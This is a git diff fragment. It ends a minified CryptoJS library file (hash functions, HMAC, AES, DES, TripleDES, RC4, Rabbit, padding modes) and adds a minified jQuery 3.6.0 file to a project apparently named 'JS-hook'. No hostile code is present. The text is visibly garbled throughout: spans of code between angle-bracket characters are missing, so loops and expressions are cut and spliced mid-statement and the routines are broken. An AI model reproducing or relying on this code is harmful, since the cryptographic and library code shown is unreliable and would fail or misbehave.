t}});t.SHA3=i._createHelper(e),t.HmacSHA3=i._createHmacHelper(e)}(Math),Math,F=(w=U).lib,u=F.WordArray,p=F.Hasher,F=w.algo,S=u.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),x=u.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),b=u.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),A=u.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),H=u.create([0,1518500249,1859775393,2400959708,2840853838]),z=u.create([1352829926,1548603684,1836072691,2053994217,0]),F=F.RIPEMD160=p.extend({_doReset:function(){this._hash=u.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}for(var o,s,c,a,h,l,f=this._hash.words,d=H.words,u=z.words,p=S.words,_=x.words,y=b.words,v=A.words,g=o=f[0],B=s=f[1],w=c=f[2],k=a=f[3],m=h=f[4],r=0;r<80;r+=1)l=o+t[e+p[r]]|0,l+=r<16?(s^c^a)+d[0]:r<32?K(s,c,a)+d[1]:r<48?((s|~c)^a)+d[2]:r<64?X(s,c,a)+d[3]:(s^(c|~a))+d[4],l=(l=L(l|=0,y[r]))+h|0,o=h,h=a,a=L(c,10),c=s,s=l,l=g+t[e+_[r]]|0,l+=r<16?(B^(w|~k))+u[0]:r<32?X(B,w,k)+u[1]:r<48?((B|~w)^k)+u[2]:r<64?K(B,w,k)+u[3]:(B^w^k)+u[4],l=(l=L(l|=0,v[r]))+m|0,g=m,m=k,k=L(w,10),w=B,B=l;l=f[1]+c+k|0,f[1]=f[2]+a+m|0,f[2]=f[3]+h+g|0,f[3]=f[4]+o+B|0,f[4]=f[0]+s+w|0,f[0]=l},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var e=this._hash,n=e.words,o=0;o<5;o++){var s=n[o];n[o]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8)}return e},clone:function(){var t=p.clone.call(this);return t._hash=this._hash.clone(),t}}),w.RIPEMD160=p._createHelper(F),w.HmacRIPEMD160=p._createHmacHelper(F),P=(M=U).lib.Base,_=M.enc.Utf8,M.algo.HMAC=P.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=_.parse(e));var r=t.blockSize,i=4*r;(e=e.sigBytes>i?t.finalize(e):e).clamp();for(var t=this._oKey=e.clone(),e=this._iKey=e.clone(),n=t.words,o=e.words,s=0;s>>2];t.sigBytes-=e}},d=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:n,padding:l}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,e=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=e.createEncryptor:(t=e.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(e,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),l=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,t=t.salt,e=t?s.create([1398893684,1701076831]).concat(t).concat(e):e;return e.toString(o)},parse:function(t){var e,r=o.parse(t),t=r.words;return 1398893684==t[0]&&1701076831==t[1]&&(e=s.create(t.slice(2,4)),t.splice(0,4),r.sigBytes-=16),d.create({ciphertext:r,salt:e})}},u=e.SerializableCipher=r.extend({cfg:r.extend({format:l}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),e=n.finalize(e),n=n.cfg;return d.create({ciphertext:e,key:r,iv:n.iv,algorithm:t,mode:n.mode,padding:n.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),t=(t.kdf={}).OpenSSL={execute:function(t,e,r,i){i=i||s.random(8);t=c.create({keySize:e+r}).compute(t,i),r=s.create(t.words.slice(e),4*r);return t.sigBytes=4*e,d.create({key:t,iv:r,salt:i})}},p=e.PasswordBasedCipher=u.extend({cfg:u.cfg.extend({kdf:t}),encrypt:function(t,e,r,i){r=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=r.iv;i=u.encrypt.call(this,t,e,r.key,i);return i.mixIn(r),i},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);r=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=r.iv,u.decrypt.call(this,t,e,r.key,i)}})}(),U.mode.CFB=((F=U.lib.BlockCipherMode.extend()).Encryptor=F.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;j.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),F.Decryptor=F.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);j.call(this,t,e,i,r),this._prevBlock=n}}),F),U.mode.CTR=(M=U.lib.BlockCipherMode.extend(),P=M.Encryptor=M.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>2]|=e<<24-r%4*8,t.sigBytes+=e},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},U.pad.Iso10126={pad:function(t,e){e*=4,e-=t.sigBytes%e;t.concat(U.lib.WordArray.random(e-1)).concat(U.lib.WordArray.create([e<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},U.pad.Iso97971={pad:function(t,e){t.concat(U.lib.WordArray.create([2147483648],1)),U.pad.ZeroPadding.pad(t,e)},unpad:function(t){U.pad.ZeroPadding.unpad(t),t.sigBytes--}},U.pad.ZeroPadding={pad:function(t,e){e*=4;t.clamp(),t.sigBytes+=e-(t.sigBytes%e||e)},unpad:function(t){for(var e=t.words,r=t.sigBytes-1,r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},U.pad.NoPadding={pad:function(){},unpad:function(){}},m=(P=U).lib.CipherParams,C=P.enc.Hex,P.format.Hex={stringify:function(t){return t.ciphertext.toString(C)},parse:function(t){t=C.parse(t);return m.create({ciphertext:t})}},function(){var t=U,e=t.lib.BlockCipher,r=t.algo,h=[],l=[],f=[],d=[],u=[],p=[],_=[],y=[],v=[],g=[];!function(){for(var t=[],e=0;e<256;e++)t[e]=e<128?e<<1:e<<1^283;for(var r=0,i=0,e=0;e<256;e++){var n=i^i<<1^i<<2^i<<3^i<<4;h[r]=n=n>>>8^255&n^99;var o=t[l[n]=r],s=t[o],c=t[s],a=257*t[n]^16843008*n;f[r]=a<<24|a>>>8,d[r]=a<<16|a>>>16,u[r]=a<<8|a>>>24,p[r]=a,_[n]=(a=16843009*c^65537*s^257*o^16843008*r)<<24|a>>>8,y[n]=a<<16|a>>>16,v[n]=a<<8|a>>>24,g[n]=a,r?(r=o^t[t[t[c^o]]],i^=t[t[i]]):r=i=1}}();var B=[0,1,2,4,8,16,32,64,128,27,54],r=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,i=4*(1+(this._nRounds=6+r)),n=this._keySchedule=[],o=0;o>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a]):(a=h[(a=a<<8|a>>>24)>>>24]<<24|h[a>>>16&255]<<16|h[a>>>8&255]<<8|h[255&a],a^=B[o/r|0]<<24),n[o]=n[o-r]^a);for(var s=this._invKeySchedule=[],c=0;c>>24]]^y[h[a>>>16&255]]^v[h[a>>>8&255]]^g[h[255&a]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,f,d,u,p,h)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,_,y,v,g,l);r=t[e+1];t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],y=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],v=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++],h=_,l=y,f=v,d=g;_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],y=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],v=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++];t[e]=_,t[e+1]=y,t[e+2]=v,t[e+3]=g},keySize:8});t.AES=e._createHelper(r)}(),function(){var t=U,e=t.lib,i=e.WordArray,r=e.BlockCipher,e=t.algo,h=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],l=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],f=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],d=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],u=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],n=e.DES=r.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=h[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],o=0;o<16;o++){for(var s=n[o]=[],c=f[o],r=0;r<24;r++)s[r/6|0]|=e[(l[r]-1+c)%28]<<31-r%6,s[4+(r/6|0)]|=e[28+(l[r+24]-1+c)%28]<<31-r%6;s[0]=s[0]<<1|s[0]>>>31;for(r=1;r<7;r++)s[r]=s[r]>>>4*(r-1)+3;s[7]=s[7]<<5|s[7]>>>27}for(var a=this._invSubKeys=[],r=0;r<16;r++)a[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],p.call(this,4,252645135),p.call(this,16,65535),_.call(this,2,858993459),_.call(this,8,16711935),p.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,a=0;a<8;a++)c|=d[a][((s^n[a])&u[a])>>>0];this._lBlock=s,this._rBlock=o^c}var h=this._lBlock;this._lBlock=this._rBlock,this._rBlock=h,p.call(this,1,1431655765),_.call(this,8,16711935),_.call(this,2,858993459),p.call(this,16,65535),p.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function p(t,e){e=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=e,this._lBlock^=e<>>t^this._lBlock)&e;this._lBlock^=e,this._rBlock^=e<192.");var e=t.slice(0,2),r=t.length<4?t.slice(0,2):t.slice(2,4),t=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=n.createEncryptor(i.create(e)),this._des2=n.createEncryptor(i.create(r)),this._des3=n.createEncryptor(i.create(t))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=r._createHelper(e)}(),function(){var t=U,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;for(var n=0,o=0;n<256;n++){var s=n%r,s=e[s>>>2]>>>24-s%4*8&255,o=(o+i[n]+s)%256,s=i[n];i[n]=i[o],i[o]=s}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){var r=(r+t[e=(e+1)%256])%256,o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);r=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);for(var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],r=this._b=0;r<4;r++)N.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),s=e>>>16|4294901760&o,c=o<<16|65535&e;n[0]^=e,n[1]^=s,n[2]^=o,n[3]^=c,n[4]^=e,n[5]^=s,n[6]^=o,n[7]^=c;for(r=0;r<4;r++)N.call(this)}},_doProcessBlock:function(t,e){var r=this._X;N.call(this),D[0]=r[0]^r[5]>>>16^r[3]<<16,D[1]=r[2]^r[7]>>>16^r[5]<<16,D[2]=r[4]^r[1]>>>16^r[7]<<16,D[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)D[i]=16711935&(D[i]<<8|D[i]>>>24)|4278255360&(D[i]<<24|D[i]>>>8),t[e+i]^=D[i]},blockSize:4,ivSize:2}),M.Rabbit=F._createHelper(P),F=(M=U).lib.StreamCipher,P=M.algo,W=[],O=[],I=[],P=P.RabbitLegacy=F.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)q.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],t=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(t<<8|t>>>24)|4278255360&(t<<24|t>>>8),s=e>>>16|4294901760&o,t=o<<16|65535&e;i[0]^=e,i[1]^=s,i[2]^=o,i[3]^=t,i[4]^=e,i[5]^=s,i[6]^=o,i[7]^=t;for(n=0;n<4;n++)q.call(this)}},_doProcessBlock:function(t,e){var r=this._X;q.call(this),W[0]=r[0]^r[5]>>>16^r[3]<<16,W[1]=r[2]^r[7]>>>16^r[5]<<16,W[2]=r[4]^r[1]>>>16^r[7]<<16,W[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)W[i]=16711935&(W[i]<<8|W[i]>>>24)|4278255360&(W[i]<<24|W[i]>>>8),t[e+i]^=W[i]},blockSize:4,ivSize:2}),M.RabbitLegacy=F._createHelper(P),U}); \ No newline at end of file diff --git a/JS-hook/src/main/resources/static/libs/jquery-3.6.0.min.js b/JS-hook/src/main/resources/static/libs/jquery-3.6.0.min.js new file mode 100644 index 0000000..200b54e --- /dev/null +++ b/JS-hook/src/main/resources/static/libs/jquery-3.6.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete 